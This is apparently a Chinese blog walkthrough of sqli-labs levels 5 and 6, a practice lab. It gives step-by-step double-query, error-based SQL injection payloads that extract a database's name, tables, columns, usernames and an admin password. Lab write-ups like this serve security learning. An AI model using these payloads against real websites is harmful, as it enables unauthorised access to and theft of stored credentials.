本文以sqli-labs第五第六關為例,詳細原理見我上一篇文章
sqli-labs資源在這:https://github.com/Audi-1/sqli-labs
sqli-labs 5、6雙查詢報錯注入通關
這篇為了代碼行語法高亮好看,就把payload中sql語句之前的內容省去了,復制使用時記得在payload前面加上?id=-1'
第六關閉合方式是雙引號,所以將payload的單引號改成雙引號直接使用即可。
這里的思路,利用雙查詢的報錯提示和information_schema庫獲得數據庫信息,思路可見目錄。
好,進入正文~
0x01 獲取目標庫名
報錯獲得當前的數據庫名:
payload:
union select 1,count(*),
concat((select database()),"==",floor(rand()*2)) as a
from information_schema.tables where table_schema='security' group by a --+
獲得當前數據庫名為security
0x02 獲取庫中表的數量
information_schema庫中有一張tables表,含有數據庫所有的表信息,這個表里有一個列table_schema,內容為表所屬的數據庫,利用這兩個屬性可以獲得security庫中的表名信息:
payload:
union select 1,count(*),concat((select count(table_name) from information_schema.tables),"==",floor(rand()*2)) as a from information_schema.tables where table_schema='security' group by a --+
可知道這個數據庫有四個表
0x03 獲取庫中表名
這里本來想在子查詢中利用group_concat函數將幾個表名直接連接在一起輸出的,payload如下,試了沒用,不能觸發報錯,cmd里直接用數據庫跑也不行,可以查詢出結果,但是不會報錯,具體原因不了解 估計是group_concat()函數的原因
## 子查詢中利用group_concat()函數,失敗
union select 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),"==",floor(rand()*2))as a from information_schema.schemata group by a --+
所以還是用limit函數,讓查詢結果每次一行的顯示,盡管比較麻煩,但目前只能這樣了,第一個表:
union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),"==",floor(rand()*2))as a from information_schema.schemata group by a --+
先爆出第一個表名為emails
然后改變limit函數的參數,依次為limt 1,1
,limt 2,1
,limt 3,1
,將后面3個表名爆出來
最終找到我們需要的表,users
,從表名就可以知道其中含有用戶信息。
0x04 獲取目標表中的列數
和上面的思路一樣,獲取users表中的列數,然后再進一步獲取每一列的列名
這里利用information_schema中的columns表,這個表記錄了所有的數據庫列信息,可以獲取users表的列數
先構造獲得users表列數和列名的sql語句如下
所以查users表列數的pyload如下:
union select 1,count(*),concat((select count(column_name) from information_schema.columns where table_schema='security' and table_name="users"),"==",floor(rand()*2)) as a from information_schema.tables where table_schema='security' group by a --+
爆出users表中有3列內容
0x05 獲取目標表的列名
然后通過limit函數將列名逐一爆出來,payload如下,改變limit的變量即可:
union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name="users" limit 0,1),"==",floor(rand()*2)) as a from information_schema.tables where table_schema='security' group by a --+
第一列的列名是id:
繼續爆出剩下的兩個列名:
0x06 從列中獲取用戶名
知道username和password兩個列名后,就可以用來獲得用戶名了,這里我們已經獲得了足夠的信息,所以可以不用借助information_schema庫了,大大的縮短了payload長度:
union select 1,count(*),concat((select username from users limit 0,1),"==",floor(rand()*2)) as a from user group by a --+
獲得第一個用戶名為Dumb
改變limit參數,獲得全部的用戶名,這里省略獲取過程,直接進入找密碼部分。
0x07 獲取對應的用戶密碼
在上一步的查詢過程中,發現有一個用戶名為admin,現在爆出admin用戶的密碼
爆出admin的密碼就是admin
OK,完成本次闖關!
0x08 過關小結
這一關使用我這個方法有些迂回,希望寫的能讓大家看懂,這個方式比較多的依賴information_schema庫的應用,所有有一定局限性,但是思路還是挺不錯的。
其實可以用ASCII碼猜解或者延時注入的方法,同時借助burpsuite的話比這個方法更加省力,但是之前學習了雙查詢注入,也為了鞏固,所以用來練手,恰好也發現了這種注入方式中子查詢若使用group_concat()函數無法觸發報錯,同時也加固了對information_schema表的了解,也算是有了很多成長。
最后,感謝你的觀看,如果覺得文中有什么寫的不對的地方可以私信或者評論留言,我會仔細的查看,一起進步,一起成長~